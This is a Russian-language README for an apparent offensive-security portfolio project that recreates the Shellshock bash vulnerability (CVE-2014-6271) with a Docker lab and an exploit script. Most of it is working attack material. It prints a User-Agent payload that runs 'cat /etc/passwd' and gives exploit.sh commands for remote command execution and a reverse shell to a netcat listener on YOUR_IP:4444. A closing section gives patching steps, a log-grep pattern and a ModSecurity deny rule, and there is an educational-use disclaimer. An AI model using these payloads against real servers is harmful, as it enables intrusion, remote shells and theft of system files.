
Воссоздание Shellshock (CVE-2014-6271) — уязвимости bash, поставившей под угрозу миллионы серверов. Автоматизированный набор эксплойтов + методология Burp Suite + лаборатория Docker. Создано для исследований в области безопасности и обучения. Портфолио-проект по наступательной безопасности.
Автоматизированный инструментарий для эксплуатации CVE-2014-6271 (Shellshock)
Полноценный исследовательский проект в области безопасности, демонстрирующий уязвимость Shellshock, которая в 2014 году затронула миллионы серверов. Включает автоматическое сканирование, возможности эксплуатации и рекомендации по защите.
Demo
Shellshock (CVE-2014-6271) — критическая уязвимость в командной оболочке Bash, позволяющая удалённо выполнять код путём манипуляции переменными окружения. Обнаруженная в 2014 году после 22 лет существования, она затронула миллионы систем Unix/Linux по всему миру.
Как это работает:
# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'
# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"' # The second command executes
Веб-серверы, использующие CGI, передают HTTP-заголовки в Bash как переменные окружения, что делает их уязвимыми:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'
# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse
# Start vulnerable lab
docker-compose up -d
# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"
Автоматический сканер
Инструмент эксплуатации
Лабораторная среда
./exploit.sh --scan --target localhost --port 8080
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"
# Terminal 1
nc -lvnp 4444
# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444


Измените заголовок User-Agent:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Сервер выполняет вашу команду и возвращает результат.
Client (Attacker)
│
│ HTTP Request with malicious User-Agent
▼
Web Server
│
│ Passes header as environment variable
▼
CGI Script
│
│ Spawns Bash process
▼
Bash Shell
│
│ Parses function + executes trailing commands
▼
Command Execution (RCE)
Когда Bash встречает определение функции в переменной окружения:
() { :;}# Update Bash
sudo apt-get update && sudo apt-get upgrade bash
# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2
# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"
bash-apocalypse/
├── README.md
├── exploit.sh # Main tool
├── payloads.txt # Test payloads
├── docker-compose.yml # Lab setup
└── screenshots/
├── intercept.png
├── Payload.png
└── result.png
Только в образовательных целях. Тестируйте только те системы, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Несанкционированный доступ противозаконен.
Создано, чтобы понять, как работают уязвимости и как защищаться от них. ;)